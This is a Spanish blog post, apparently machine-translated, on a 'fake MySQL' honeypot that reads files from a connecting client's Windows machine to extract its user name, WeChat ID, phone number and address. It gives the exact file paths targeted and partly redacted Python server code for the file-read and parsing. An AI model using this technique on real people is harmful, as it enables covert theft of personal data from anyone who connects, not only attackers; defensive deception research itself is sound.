Obtenga el número de teléfono móvil del atacante y la cuenta de WeChat a través de la tecnología honeypot [Seguridad de la red]

Declaración relevante: el siguiente contenido solo se usa en campos profesionales como el ataque rojo y azul y la confrontación de defensa, no lo use con fines ilegales.

En primer lugar, hablemos sobre el concepto de honeypot. Simplemente puede entender que un honeypot es una trampa, que expone deliberadamente algunas de nuestras vulnerabilidades diseñadas artificialmente, lo que permite que los atacantes caigan en la trampa.

1. Introducción del tarro de miel

Honeypot es una tecnología de engaño para que los atacantes monitoreen, detecten, analicen y rastreen el comportamiento de ataque. No tiene ningún propósito comercial. Todo el tráfico que entra o sale de Honeypot indica un comportamiento de escaneo o ataque, por lo que puede ser mejor concentrarse en el tráfico de ataque.

Los Honeypots pueden atrapar activamente a los atacantes, registrar muchos rastros en el proceso de ataque del atacante en detalle y recopilar una gran cantidad de datos valiosos, como el código fuente de virus o gusanos, operaciones de piratas informáticos, etc., para proporcionar información valiosa. datos. Además, el honeypot también puede consumir el tiempo del atacante y obtener el retrato del atacante basado en JSONP y otros métodos.

Sin embargo, los honeypots presentan riesgos de seguridad y, si no se aíslan adecuadamente, pueden convertirse en nuevas fuentes de ataque.

Ejemplo, Mysql falso

Permítanme volver a mencionar el concepto de Fake Mysql: disfrazando el servidor Mysql, induciendo al atacante a conectarse y usando la vulnerabilidad para leer el archivo de la computadora del atacante, se obtiene el siguiente contenido.

3. Tecnología Honeypot para obtener número de teléfono móvil, ID de WeChat y dirección

Entonces, ¿cómo obtener el número de teléfono móvil del atacante y WeChat a través de esta tecnología?

La idea de adquisición normal.

Primero hablemos sobre el método normal de lectura del número de teléfono móvil y la ID de WeChat, que se divide en los siguientes tres pasos

  • Obtenga el nombre de usuario de Windows a través de C:/Windows/PFRO.log
  • Obtenga wxid a través de C:/Users/username/Documents/WeChat Files/All Users/config/config.data
  • Obtenga la dirección, el ID de WeChat y el número de teléfono móvil a través de C:/Users/username/Documents/WeChat Files/wx_id/config/AccInfo.dat

obtener el nombre de usuario de Windows

Estamos aquí para probar en nuestra propia computadora, abra C:/Windows/PFRO.log, puede ver que mi nombre de usuario es66396

obtener wxid

Luego, visitamos C:/Users/ 66396 /Documents/WeChat Files/All Users/config/config.data

Aquí puedes obtener wxid

Obtener número de teléfono móvil, ID de WeChat, dirección

Puede ver el número de teléfono

También hay direcciones e ID de WeChat.

Lo anterior es la información que se puede obtener al ver los archivos en la computadora después de que el hacker invade, entonces, cómo diseñar un honeypot, para que el hacker pueda arrojarse a la red cuando ataca, y ayudar a nuestro defensor a rastrear la información del ¿agresor?

[→Sígueme para conocer todos los recursos y responder a "datos" por mensaje privado para obtener ←]
1. Ruta de aprendizaje de seguridad de redes
2. Libros electrónicos (sombrero blanco)
3. Video interno de una gran empresa de seguridad4,
100 documentos
, preguntas comunes de la entrevista de seguridad6
, análisis de los temas clásicos de la competencia ctf
7, un conjunto completo de herramientas
8, notas de respuesta de emergencia

Cuarto, el código central

¿Cómo automatizar el proceso anterior? Podemos ver que el código
debajo del código central tiene dos funciones principales

  1. Determine si se trata de un escáner o una herramienta de voladura de contraseñas y realice un apretón de manos interactivo, el efecto es que el escáner envía directamente la contraseña débil 3306.
  2. Si se trata de una conexión directa, lea el archivo establecido y escríbalo en el guardado local.
def mysql_get_file_content(filename,conn,address):
    logpath = os.path.abspath('.') + "/log/" + address[0]
    if not os.path.exists(logpath):
        os.makedirs(logpath)
    conn.sendall("xxx")
    try:
        conn.recv(1024000)
    except Exception as e:
        print(e)
    try:
        conn.sendall("xx")
        res1 = conn.recv(1024000)
        # SHOW VARIABLES
        if 'SHOW VARIABLES' in res1:
            conn.sendall("xxx")
            res2 = conn.recv(9999)
            if 'SHOW WARNINGS' in res2:
                conn.sendall("xxx")
                res3 = conn.recv(9999)
                if 'SHOW COLLATION' in res3:
                    conn.sendall("xxx")
                    res4 = conn.recv(9999)
                    if 'SET NAMES utf8' in res4:
                        conn.sendall("xxx")
                        res5 = conn.recv(9999)
                        if 'SET character_set_results=NULL' in res5:
                            conn.sendall("xxx")
                            conn.close()
                    else:
                        conn.close()
                else:
                    conn.close()
            else:
                conn.close()
        else:
            try:
                wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
                conn.sendall(wantfile)
                content=''
                while True:
                    data = conn.recv(1024)
                    print len(data)
                    content += data
                    if len(data) < 1024:
                        print 'ok'
                        break
                    
                conn.close()
                item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
                if len(content) > 6:
                    with open(item, "w") as f:
                        f.write(content)
                        f.close()
                    return (True,content)
                else:
                    return (False,content)
            except Exception as e:
                print (e)
    except Exception as e:
        print (e)

Para evitar el contenido incompleto del archivo leído, whilese puede agregar un bucle.

while True:
        conn, address = sv.accept()
        first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        global files1
        global username
        global wx_id
        file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
        res,content = mysql_get_file_content(file,conn,address)
        files1.append(files1[0])
        files1.remove(files1[0])
        if res:
            if 'PFRO' in file:
                username = get_username(content)
                s= "xx" % (xx)
                cursor.execute(s)
                data = cursor.fetchall()
                if len(data)==0:
                    s = "XX" % (xx)
                    cursor.execute(s)
                    db.commit()
                    print 'success:'+ file
                    insert_file(file,address,username)
            elif 'config.data'in file:
                content = content
                wxid = re.findall(r'WeChatFiles\(.*)\config', content)[0]
                sql = "xxx" % (xxx)
                cursor.execute(sql)
                db.commit()
                wx_id=wxid
                img = qrcode.make('weixin://contacts/profile/'+wxid)
                img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png') 
                print 'success:'+ file
                insert_file(file,address,username)
            elif 'AccInfo' in file:
                content = content
                phone = re.findall(r'[0-9]{11}', content)[-1]
                sql = "xxx" % (xxx)
                cursor.execute(sql)
                db.commit()
                print 'success:'+ file
                insert_file(file,address,username)
        else:
            files1=files
            username='Administrator'

Método de implementación

Necesitamos descargar la herramienta primero y pasarla al servidor

Luego modifique webServer.pyla contraseña del admin. Por supuesto, también puede cambiar el nombre de usuario, que se modifica según los hábitos personales.

Luego habilite el servicio a través de la ventana acoplable

Entonces ejecuta este proyecto

docker-compose up -d

Instrucciones

Los atacantes suelen encontrar algunas vulnerabilidades en nuestro sitio web. Usamos tecnología trampa aquí para exponer deliberadamente nuestra base de datos. Establecemos contraseñas débiles en nuestra base de datos para permitir que los atacantes se conecten.

Después de que el atacante use con éxito Navicat para conectarse a nuestra base de datos, podemos ejecutar el código y leer su número de teléfono móvil, ID de WeChat y dirección.

Y puede acceder al fondo en el puerto 5000, ingrese el administrador y la contraseña fancypig que acabamos de configurar

¡Entonces puedes ver la información del atacante! referencias

Supongo que te gusta

Origin blog.csdn.net/HBohan/article/details/123277944
Recomendado
Clasificación